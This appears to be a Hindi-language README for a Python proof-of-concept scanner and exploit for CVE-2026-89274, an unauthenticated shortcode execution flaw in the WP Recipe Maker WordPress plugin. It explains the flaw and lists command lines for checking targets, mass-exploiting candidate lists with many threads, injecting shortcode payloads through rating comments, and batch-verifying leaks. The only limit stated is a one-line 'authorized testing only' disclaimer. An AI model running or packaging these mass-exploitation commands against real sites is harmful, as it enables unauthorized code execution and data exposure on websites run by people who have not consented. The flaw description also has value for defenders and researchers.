
Python PoC स्कैनर और CVE-2026-89274 के लिए एक्सप्लॉइट, जो WP Recipe Maker <=10.8.1 में रेसिपी रेटिंग टिप्पणियों और JSON-LD के माध्यम से एक अनधिकृत मनमाना शॉर्टकोड निष्पादन दोष है।
WP Recipe Maker में CVE-2026-89274 के लिए Python 3 PoC स्कैनर/एक्सप्लॉइट।
| प्लगइन | wp-recipe-maker |
| प्रभावित | ≤ 10.8.1 |
| में ठीक किया गया | 10.8.2+ |
| CVSS | 9.1 (गंभीर) |
| प्रमाणीकरण | अनप्रमाणित (टिप्पणी सबमिट) |
| CWE | CWE-94 |
WPRM_Metadata::sanitize_metadata() मेटाडेटा फ़ील्ड्स पर strip_shortcodes() से पहले do_shortcode() चलाता है। स्वीकृत रेसिपी रेटिंग टिप्पणियाँ (wprm-comment-rating) JSON-LD reviewBody को भरती हैं; इंजेक्ट किए गए शॉर्टकोड रेसिपी पेज लोड होने पर निष्पादित होते हैं और संरचित डेटा में आउटपुट लीक कर सकते हैं।
आवश्यकता: दुर्भावनापूर्ण टिप्पणी स्वीकृत होनी चाहिए (ऑटो-अप्रूव या मॉडरेटर)। एक्सप्लॉइट मोड --verify का उपयोग करके पुष्टि कर सकता है कि मार्कर JSON-LD reviewBody में दिखाई देता है।
pip install -r requirements.txtpip install -r requirements.txt
# Check plugin version + recipe page with comment rating form
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Mass exploit from check output (candidates.jsonl)
python poc.py --list candidates.jsonl --mode exploit --threads 20 \
--shortcode "[caption]PROBE[/caption]" --verify --quiet
# Single-target exploit + JSON-LD verification
python poc.py -u https://target.example --mode exploit \
--recipe-url /some-post-with-recipe/ \
--shortcode "[caption]PROBE[/caption]" --verify
# Verify after comment approval (marker from exploit JSON)
python poc.py -u https://target.example --mode verify \
--recipe-url /some-post-with-recipe/ --marker wprm89274_abc12345
# Batch verify prior submissions (submitted_mass.txt format)
python poc.py --list submitted_mass.txt --mode verify --threads 30 --quiet \
--output verify_submitted.jsonl --vuln-list verified_leaks.txt
submitted_mass.txt पंक्ति प्रारूप (verify मोड)https://target.example|https://target.example/recipe-post/|post=123|marker=wprm89274_abc12345
| विकल्प | विवरण |
|---|---|
-u, --url | एकल लक्ष्य बेस URL |
--list | URL सूची, candidates.jsonl, या submitted_mass.txt (verify) |
--mode | check, exploit, या verify |
--recipe-url | एम्बेडेड WPRM रेसिपी + टिप्पणियों वाला पोस्ट URL |
--post-id | WordPress comment_post_ID |
--recipe-id | WPRM रेसिपी ID (वैकल्पिक --use-api) |
--shortcode | टिप्पणी टेक्स्ट में पेलोड (डिफ़ॉल्ट प्रोब शॉर्टकोड) |
--marker | Verify: JSON-LD में मार्कर सबस्ट्रिंग खोजें |
--verify | Exploit: सबमिट के बाद JSON-LD में लीक की पुष्टि करें |
--use-api | Premium user-rating REST पथ भी आज़माएँ |
--threads, -j | मास कंकरेंसी (डिफ़ॉल्ट 20) |
--output | JSONL परिणाम (डिफ़ॉल्ट cve_2026_89274_results.jsonl) |
--vuln-list | हिट/लीक के लिए टेक्स्ट आउटपुट (डिफ़ॉल्ट hits.txt) |
--candidates-list | Check हिट मेटाडेटा (डिफ़ॉल्ट candidates.jsonl) |
--quiet | मास रन पर कम प्रगति आउटपुट |
| फ़ाइल | सामग्री |
|---|---|
cve_2026_89274_results.jsonl | प्रति-लक्ष्य JSON |
hits.txt | उम्मीदवार बेस URL |
candidates.jsonl | page_url, post_id, recipe_id, version |
status मान (check)| स्थिति | अर्थ |
|---|---|
candidate | कमज़ोर संस्करण + wprm-comment-rating वाला रेसिपी पेज |
plugin_no_recipe_comments | प्लगइन मौजूद, कोई उपयुक्त रेसिपी/टिप्पणी पेज नहीं मिला |
recipe_no_comment_rating | रेटिंग टिप्पणी फ़ॉर्म के बिना रेसिपी पेज |
patched | संस्करण ≥ 10.8.2 |
no_plugin | WP Recipe Maker का पता नहीं चला |
[caption]) का उपयोग करें।/blog/, /recipes/) JSON-LD लीक नहीं दिखा सकते; पेज खोजते समय एक्सप्लॉइट एकल रेसिपी परमालिंक को प्राथमिकता देता है।--verify केवल JSON-LD प्रतिबिंब की पुष्टि करता है, पूर्ण RCE की नहीं।.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
स्थानीय स्कैन सूचियाँ और रन आर्टिफ़ैक्ट्स (list.txt, *.jsonl, submitted_mass.txt, …) .gitignore में हैं और इन्हें कमिट नहीं किया जाना चाहिए।
केवल अधिकृत सुरक्षा परीक्षण के लिए। लागू कानूनों और कार्यक्रम नियमों के अनुपालन की ज़िम्मेदारी आपकी है।